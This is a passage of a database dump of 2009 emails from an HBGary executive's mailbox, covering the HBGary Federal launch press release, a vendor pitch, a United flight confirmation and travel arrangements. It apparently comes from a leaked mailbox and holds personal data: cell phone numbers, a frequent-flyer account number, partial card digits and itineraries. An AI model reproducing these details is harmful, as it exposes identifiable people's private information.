cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements.\r\n> \r\n> In addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal. Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively.\r\n> \r\n> “As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will  ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.”\r\n> \r\n> Mr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past.  They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat.\r\n> \r\n> “Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.  Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.  Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal. \r\n> \r\n> “I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.  As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.  HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal.\r\n> \r\n>   \r\n> For more information on HBGary Federal, please visit http://www.hbgary.com. You can also contact Mr. Barr at aaron@hbgary.com or Mr. Vera at ted@hbgary.com.\r\n> \r\n>  \r\n> About Aaron Barr, CEO, HBGary Federal\r\n> \r\n> Previously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans’s Cyber Campaign.   As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.  Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain.   While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.  He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.\r\n> \r\n>  \r\n> About Ted Vera, COO and President, HBGary Federal\r\n> \r\n> Prior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community.  He has a breadth of IT experience, having excelled in positions including:  system administrator, Website developer, system engineer, system security engineer and program manager.  He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures.   Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.  His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University.\r\n>  \r\n>  \r\n> About HBGary, Inc.\r\n> \r\n> HBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers. Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com.\r\n> \r\n> For more information:\r\n> \r\n> Karen Burke\r\n> \r\n> 650-814-3764\r\n> \r\n> karenmaryburke@yahoo.com \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2760,'aaron_hbgary_com/2760.html'),(476,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999846.M232505P3547Q476.eml','all@hbgary.com','Fwd: Qosmos Network Intelligence','Anyone heard of these guys?AaronFrom my iPhoneBegin forwarded message:From: Aubrey MERCHANT DEST &lt;Aubrey.MERCHANTDEST@qosmos.com&gt;\r\nTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;Subject: Qosmos Network Intelligence\r\nAaron,I would like to discuss our capability with you when you have time.  We believe we have a unique solution which can help in attribution.  Our Network Intelligence building block is already part of some activity at Carnegie Mellon University and the solution looks very promising.  I&#39;m not sure you&#39;ve heard of us before but given the opportunity I&#39;d like provide you a proper overview of our capability and business strategy.  I&#39;ve attached a couple documents for you to review.  Please let me know your level of interest and how we may be able to progress this discussion.  Thanks in advance.\r\nBest,Aubrey Merchant-DestSr. Consulting Engineer+1.301.528.8301 Office+1.301.351.4905 Cell\r\n+1.301.528.8302 FaxAubrey.Merchant@qosmos.com&lt;mailto:Aubrey.merchant@qosmos.com&gt;\r\n[cid:image001.gif@01CA7505.66E85970]\r\n',9947,'aaron_hbgary_com/9947.html'),(477,'2009-12-07','UNITED-CONFIRMATION@UNITED.COM','/aaron@hbgary.com/new/1296999848.M589775P3547Q477.eml','TED@HBGARY.COM,PENNY@HBGARY.COM,AARON@HBGARY.COM','Your United flight confirmation - December 13, 2009 - Denver to Sacramento','\r\n		\r\n		United Airlines\r\n		\r\n		\r\n				.border td{\r\n			padding: 10PX; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed;\r\n			border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-top-width: 0px;\r\n			border-right-width: 0px; border-bottom-width: 0px; border-left-width: 1px;\r\n			}\r\n			.noborder td{\r\n				border: none;\r\n			}\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n				\r\n				\r\n				\r\n					Reservation complete: See details below\r\n			\r\n			\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		    \r\n		    \r\n		\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n			\r\n	\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n		\r\n		\r\n		    \r\n		    \r\n						\r\n		\r\n		&nbsp;			\r\n		\r\n		\r\n			\r\n		\r\n			\r\n			\r\n				Your ticket(s) have been issued as an E-Ticket\r\n							\r\n		\r\n		\r\n		\r\n\r\n		\r\n		\r\n		\r\n		\r\n        \r\n	         	         \r\n	         	\r\n					  Your e-ticket was issued\r\n\r\n&#8226;You will receive a confirmation email in a few minutes\r\n\r\n&#8226;Check in for your flight online\r\nYou may check in within 24 hours of your scheduled flight departure. Check-in closes 45 minutes before scheduled departure time for flights within the U.S., Puerto Rico and the U.S. Virgin Islands and 1 hour before scheduled departure time for international flights&#8226;View the Traveler guide to learn about itinerary changes, travel tips, meal and entertainment offerings\r\n\r\n					  \r\n					  \r\n					  \r\n					  		\r\n					  		\r\n					   \r\n					\r\n									\r\n				\r\n	         \r\n	         \r\n	         \r\n	         	         \r\n        				\r\n		\r\n		\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n				\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				Your confirmation number is NGQ21D\r\n				\r\n				  \r\n			\r\n				\r\n					\r\n							\r\n							 \r\n								EasyCheck-in Online\r\n							 \r\n							 \r\n					\r\n					\r\n			 \r\n   		   \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n						\r\n					\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n    \r\n    \r\n        \r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n				Total price: USD 371.20\r\n				\r\n				\r\n				\r\n		&nbsp;\r\n			    &nbsp;	\r\n			\r\n		\r\n	\r\n	\r\n\r\n	\r\n				\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n				\r\n					\r\n					  	  Sun,&nbsp;Dec&nbsp;13,&nbsp;2009\r\n					      Denver, CO (DEN)  to Sacramento, CA (SMF) \r\n					\r\n				\r\n			\r\n		\r\n	\r\n   \r\n	\r\n		\r\n		\r\n		\r\n         \r\n        	\r\n            	\r\n        		\r\n            \r\n        \r\n              \r\n		 \r\n		 \r\n		 \r\n				\r\n			 		\r\n				\r\n			\r\n			\r\n		\r\n		United 0103\r\n			\r\n		\r\n		Depart: DEN 11:31 AMArrive: SMF 1:13 PM\r\n\r\n	Non-stop\r\n	2h 42m \r\n	\r\n	\r\n	\r\n		\r\n		\r\n			\r\n			\r\n				752\r\n			\r\n			\r\n		\r\n	\r\n\r\n	\r\n910 miles traveled\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n			Fare basis code:\r\n			\r\n				\r\n				\r\n				\r\n					VA0KY\r\n				\r\n			\r\n			Booking class:  V\r\n			\r\n			\r\n			Economy\r\n			\r\n			\r\n			\r\n				\r\n					910 Award miles\r\n				\r\n				\r\n			 \r\n			No Meal Service\r\n		\r\n			\r\n\r\n			\r\n\r\n			\r\n\r\n			\r\n\r\n		\r\n	\r\n\r\n\r\n		\r\n\r\n\r\n		\r\n	\r\n	\r\n		Seats:20C\r\n	\r\n	\r\n		\r\n		\r\n		\r\n		\r\n			\r\n			\r\n				\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	        \r\n			             \r\n			\r\n				\r\n			\r\n	\r\n	\r\n		\r\n	\r\n	\r\n	\r\n	\r\n				\r\n	\r\n	\r\n\r\n		\r\n	\r\n\r\n		\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n				\r\n					\r\n					  	  Wed,&nbsp;Dec&nbsp;16,&nbsp;2009\r\n					      Sacramento, CA (SMF)  to Denver, CO (DEN) \r\n					\r\n				\r\n			\r\n		\r\n	\r\n   \r\n	\r\n		\r\n		\r\n		\r\n         \r\n        	\r\n            	\r\n        		\r\n            \r\n        \r\n              \r\n		 \r\n		 \r\n		 \r\n				\r\n			 		\r\n				\r\n			\r\n			\r\n		\r\n		United 0448\r\n			\r\n		\r\n		Depart: SMF 1:23 PMArrive: DEN 4:47 PM\r\n\r\n	Non-stop\r\n	2h 24m \r\n	\r\n	\r\n	\r\n		\r\n		\r\n			\r\n			\r\n				752\r\n			\r\n			\r\n		\r\n	\r\n\r\n	\r\n910 miles traveled\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n			Fare basis code:\r\n			\r\n				\r\n				\r\n				\r\n					LALHLFS\r\n				\r\n			\r\n			Booking class:  L\r\n			\r\n			\r\n			Economy\r\n			\r\n			\r\n			\r\n				\r\n					910 Award miles\r\n				\r\n				\r\n			 \r\n			No Meal Service\r\n		\r\n			\r\n\r\n			\r\n\r\n			\r\n\r\n			\r\n\r\n		\r\n	\r\n\r\n\r\n		\r\n\r\n\r\n		\r\n	\r\n	\r\n		Seats:12C\r\n	\r\n	\r\n		\r\n		\r\n		\r\n		\r\n			\r\n			\r\n				\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	        \r\n			             \r\n			\r\n				\r\n			\r\n	\r\n	\r\n		\r\n	\r\n	\r\n	\r\n	\r\n				\r\n	\r\n	\r\n\r\n		\r\n	\r\n\r\n		\r\n\r\n	\r\n\r\n\r\n    \r\n\r\n	\r\n\r\n\r\n	Penalty\r\nCXL BY FLT TIME OR NOVALUENONREF/CHGFEEPLUSFAREDIF/\r\n\r\n\r\nAdditional information:\r\n\r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n				\r\n\r\n	Check-in information\r\n		\r\n	Please note that valid, government-issued photo identification must be presented at check-in.\r\n	\r\n\r\n		\r\n	\r\n\r\n		\r\n	\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n				\r\n		   	\r\n	\r\n\r\n	\r\n	\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n					\r\n						\r\n					\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					\r\n					\r\n							\r\n					\r\n				\r\n			\r\n			\r\n		\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n					\r\n				My itineraries			\r\n				&nbsp;\r\n				Frequently asked questions	\r\n				&nbsp;\r\n				EasyUpdate		\r\n			\r\n			\r\n		\r\n		\r\n	\r\n\r\n \r\n					\r\n		\r\n				\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n    \r\n    \r\n        \r\n\r\n\r\n    \r\n    \r\n    \r\n        \r\n\r\n\r\n	\r\n	\r\n\r\n		\r\n\r\n	\r\n		Passenger(s)\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n		\r\n		\r\n			\r\n				\r\n						\r\n						\r\n							Name\r\n							TED H MR VERA			\r\n									\r\n						\r\n							Type\r\n							Adult\r\n						\r\n						\r\n						  \r\n						  	\r\n							\r\n							\r\n							  \r\n							  	\r\n							  	Secure Flight data complete\r\n							  	\r\n							  	\r\n							  		Review	\r\n							  	\r\n							  	\r\n							  	\r\n							  	\r\n							  \r\n							  \r\n							  \r\n							\r\n						\r\n						\r\n					\r\n						\r\n							Mileage Plus number\r\n							03116129450\r\n						\r\n					\r\n						\r\n					\r\n					\r\n					\r\n					\r\n					\r\n						\r\n							Email\r\n							\r\n								TED@HBGARY.COM\r\n								\r\n							\r\n						\r\n						\r\n							Phone\r\n							7193827773\r\n						\r\n					\r\n					\r\n					\r\n					\r\n						\r\n				\r\n				\r\n				\r\n					\r\n						\r\n							Flight\r\n							Seat\r\n						\r\n								\r\n						 \r\n							0103	\r\n							20C\r\n						\r\n					\r\n			\r\n						 \r\n							0448	\r\n							12C\r\n						\r\n					\r\n					\r\n						\r\n							\r\n						\r\n						\r\n						\r\n		 		 	\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n								\r\n					\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n	function getMyEReceipt(bookingRefId,PNRIndex)\r\n	 {    	\r\n	 	var url = \"https://\" + \"travel.united.com\" + \"/ube/myEreceipt.do?bookingRefId=\"+bookingRefId;\r\n		dialogWindow = window.open( url);                \r\n	 }\r\n	var vs_R40_Product_Price_Array = new Array();\r\n	var vs_R40_Booking_Conf_Currency;\r\n	var s40_vs_fix_switch = \"Confirmation\";\r\n	var productPriceIndex = 0;\r\n	document.write(\'\');\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n	\r\n	\r\n			\r\n					\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\nPurchase summary\r\n\r\n\r\n	\r\n	\r\n				\r\n	\r\n	\r\n \r\n	 \r\n		\r\n			\r\n			\r\n         	  \r\n	         	  	\r\n	         	  	Ticket price\r\n	         	  	\r\n         	  \r\n         	 \r\n              \r\n	                \r\n	         		 \r\n		         		 		\r\n		                             \r\n	                             Credit card: Mileage Plus Visa xxxxxxxxxxx5080\r\n                            	 Receipt number NGQ21D\r\n	                            	 \r\n	                            	 \r\n	                           	 \r\n	                            &nbsp;\r\n	                        \r\n	                \r\n                	\r\n                        		\r\n                            371.20 USD\r\n                            &nbsp;\r\n                        \r\n                    \r\n              \r\n          	  	\r\n    				\r\n						\r\n			\r\n				\r\n			\r\n				\r\n		\r\n\r\n\r\n	vs_R40_Booking_Conf_Currency = \'USD\';\r\n\r\n\r\n	 \r\n	     		\r\n	 			Total: 371.20  USD\r\n	 \r\n	 &nbsp;\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n	\r\n    \r\n    \r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n			.cpAdTitle { margin:0; padding:0; color:#000066; font:16px Arial, sans-serif; font-weight:bold; text-decoration:none; text-indent:10px; }\r\n			.cpAdHrTd  { padding:0 10px 0 10px; background-image:url(/ube/images/bkgd/); background-repeat:repeat; border:none; color:#000066; font-weight:bold; line-height:13px; }\r\n		\r\n		\r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n					\r\n					\r\n						Book your hotel\r\n					\r\n				\r\n			\r\n			\r\n				\r\n			\r\n				\r\n					\r\n					\r\n						\r\n						Location\r\n						Dates of stay\r\n						Hotel\r\n						Rating\r\n						Price\r\n					\r\n					\r\n					\r\n						\r\n							\r\n								\r\n							\r\n							\r\n						\r\n						\r\n						 \r\n							Sacramento\r\n							12/13-12/16\r\n							Ramada Inn &amp; Plaza Harbor Conference Center\r\n							\r\n								\r\n									\r\n										\r\n									\r\n									\r\n								\r\n							\r\n							\r\n								\r\n									As low as USD51.20 per night\r\n								\r\n								Book now	\r\n							\r\n						\r\n					\r\n						\r\n							\r\n							\r\n								\r\n							\r\n						\r\n						\r\n						 \r\n							Sacramento\r\n							12/13-12/16\r\n							Hotel Sierra Rancho Cordova\r\n							\r\n								\r\n									\r\n										\r\n									\r\n									\r\n								\r\n							\r\n							\r\n								\r\n									As low as USD87.97 per night\r\n								\r\n								Book now	\r\n							\r\n						\r\n					\r\n						\r\n							\r\n								\r\n							\r\n							\r\n						\r\n						\r\n						 \r\n							Sacramento\r\n							12/13-12/16\r\n							Le Rivage Hotel\r\n							\r\n								\r\n									\r\n										\r\n									\r\n									\r\n								\r\n							\r\n							\r\n								\r\n									As low as USD99.37 per night\r\n								\r\n								Book now	\r\n							\r\n						\r\n					\r\n					\r\n						\r\n							More hotels\r\n						\r\n					\r\n				\r\n			\r\n			\r\n			\r\n			\r\n			\r\n				\r\n					\r\n\r\n\r\n\r\n\r\nReserve your car with the United discount \r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n	\r\n	\r\n	\r\n	\r\n	\r\n		\r\n			\r\n				\r\n					\r\n						\r\n							\r\n								\r\n									\r\n										\r\n											\r\n											\r\n  											\r\n  											  &bull; Save up to 20% with the United discount & earn double miles\r\n					&bull; Additional savings on the weekend and rentals of 5 or more days						  &bull; Plus, a 1,000-mile online booking bonus Reserve now\r\n  											  \r\n								\r\n \r\n				\r\n				\r\n			\r\n			\r\n			\r\n				\r\n				\r\n				\r\n					\r\n						\r\n							\r\nEnhance your travel experience\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnited Mileage Plus® Visa \r\n Earn 30,000 miles, and 1 mile per eligible $1. Redeem with no blackouts. Apply now.\r\n\r\n\r\n\r\n\r\nProtect your travel plans with Travel Insurance offered by United with Access America. Learn more.\r\n\r\n\r\n\r\nSave time with EasyCheck-in Online. Find out more.\r\n\r\n\r\n\r\nDining opportunities to earn miles. Sign up now.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n						\r\n						\r\n					\r\n				\r\n					\r\n		\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n\r\n\r\n\r\nReserve your car with the United discount \r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n	\r\n	\r\n	\r\n	\r\n	\r\n		\r\n			\r\n				\r\n					\r\n						\r\n							\r\n								\r\n									\r\n										\r\n											\r\n											\r\n  											\r\n  											  &#8226; Save up to 20% with the United discount & earn double miles\r\n								  &#8226; Additional savings on the weekend and rentals of 5 or more days							  &#8226; Plus, a 1,000-mile online booking bonus Reserve now\r\n  											  \r\n								\r\n \r\n\r\n \r\n\r\nThank you for booking at united.com where you\'ll always enjoy:\r\n\r\n\r\nUnited\'s guaranteed lowest fares Learn more\r\n\r\nNo booking fees\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n	\r\n					\r\n					\r\n					\r\n					\r\n					\r\n					\r\n					\r\n\r\n	   \r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n	\r\n\r\n\r\n\r\n\r\n\r\nUnited Airlines Contract of Carriage. \r\n\r\n\r\n								\r\n					\r\n					\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		',6142,'aaron_hbgary_com/6142.html'),(478,'2009-12-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999850.M666018P3547Q478.eml','\"Aaron Barr\" <aaron@hbgary.com>','Courtyard','Just a few miles from HBGary Office:\r\n\r\nCourtyard Sacramento Cal Expo\r\n\r\n1782 Tribute Road\r\nSacramento, California\r\n95815 USA\r\n1-916-929-7900\r\n\r\n\r\n\r\n\r\n\r\n\r\n___\r\nTed Vera | COO | HBGary Federal, Inc.\r\nCell Phone 719-237-8623\r\nWebsite:  www.hbgary.com\r\nEmail:  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n',9280,'aaron_hbgary_com/9280.html'),(479,'2009-12-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999851.M110586P3547Q479.eml','\"Aaron Barr\" <aaron@hbgary.com>','Rental Car','Did you reserve a car already? ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',1180,'aaron_hbgary_com/1180.html'),(480,'2009-12-07','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1296999851.M624996P3547Q480.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Qosmos Network Intelligence','I have not.  I did want to update you on the House of Representatives though.  I just gave their engineers an overview of Responder Pro.  They like what they see.  I&#39;d love to get you in touch with their CISO Brent Conran.  Is your title CEO HBGary Federal?\r\nOn Mon, Dec 7, 2009 at 11:24 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAnyone heard of these guys?AaronFrom my iPhoneBegin forwarded message:From: Aubrey MERCHANT DEST &lt;Aubrey.MERCHANTDEST@qosmos.com&gt;\r\n\r\nTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;Subject: Qosmos Network Intelligence\r\n\r\nAaron,I would like to discuss our capability with you when you have time.  We believe we have a unique solution which can help in attribution.  Our Network Intelligence building block is already part of some activity at Carnegie Mellon University and the solution looks very promising.  I&#39;m not sure you&#39;ve heard of us before but given the opportunity I&#39;d like provide you a proper overview of our capability and business strategy.  I&#39;ve attached a couple documents for you to review.  Please let me know your level of interest and how we may be able to progress this discussion.  Thanks in advance.\r\n\r\nBest,Aubrey Merchant-DestSr. Consulting Engineer+1.301.528.8301 Office+1.301.351.4905 Cell\r\n\r\n+1.301.528.8302 FaxAubrey.Merchant@qosmos.com&lt;mailto:Aubrey.merchant@qosmos.com&gt;\r\n\r\n[cid:image001.gif@01CA7505.66E85970]\r\n\r\n',4189,'aaron_hbgary_com/4189.html'),(481,'2009-12-07','don@hypervista-tech.com','/aaron@hbgary.com/new/1296999852.M196482P3547Q481.eml','\"Aaron Barr\" <aaron@hbgary.com>','Restaurant','http://www.busara.com/\r\n\r\n\r\n> -------- Original Message --------\r\n> Subject: Re: Ping\r\n> From: Aaron Barr \r\n> Date: Fri, December 04, 2009 4:35 pm\r\n> To: Bailey Don , Don Bailey\r\n> \r\n> Cc: Ted Vera \r\n> Don,\r\n> Ted told me you guys had a good conversation.  I have to tell you Ted and I have only been at this a week but we are already having the time of our life again, like the old days!  I look forward to seeing you soon.\r\n> Aaron\r\n> On Dec 4, 2009, at 4:30 PM, Ted Vera wrote:\r\n> > Hi Don,\r\n> > \r\n> > Great talking with you today. Drop us a line when you want to discuss\r\n> > the upcoming opportunity. Got some time next week for a face-to-face\r\n> > with Aaron, and possibly Greg?\r\n> > \r\n> > Hope you have a great weekend,\r\n> > \r\n> > Ted\r\n> > 719-237-8623\r\n\r\n',9744,'aaron_hbgary_com/9744.html'),(482,'2009-12-07','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999852.M461563P3547Q482.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Final HBGary Federal Press Release; HBGary Federal Media Talking Points','Thanks Aaron. Alas, I was not able to open this document. Could you possibly cut and past the information into mail and send to me?Thanks, Karen--- On Mon, 12/7/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Final HBGary Federal Press Release; HBGary Federal Media Talking PointsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: greg@hbgary.com, penny@hbgary.com, ted@hbgary.com, bob@hbgary.comDate: Monday, December 7, 2009, 7:26 AM\r\nsome of the answers to the possible questions.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 6, 2009, at 8:55 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi everyone, Below is the final press release.&nbsp;I plan to distribute it to our key media and anaylsts at 6 AM PT/9 AM ET tomorrow morning (Monday). I have also attached some possible talking points for both Greg and Aaron to use as a guide if we secure media interviews. Please feel free to amend&nbsp; (and fill in where needed) -- they are just a starting point but address some questions I think we\'ll get from the media re the announcement.\r\n&nbsp;\r\nIf you need more time to review or have any questions or concerns, please let me know ASAP. Best, Karen\r\n&nbsp;\r\n650-814-3764\r\n&nbsp;\r\n&nbsp;\r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera \r\nSacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.&nbsp; Our goal is to provide\r\n the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong 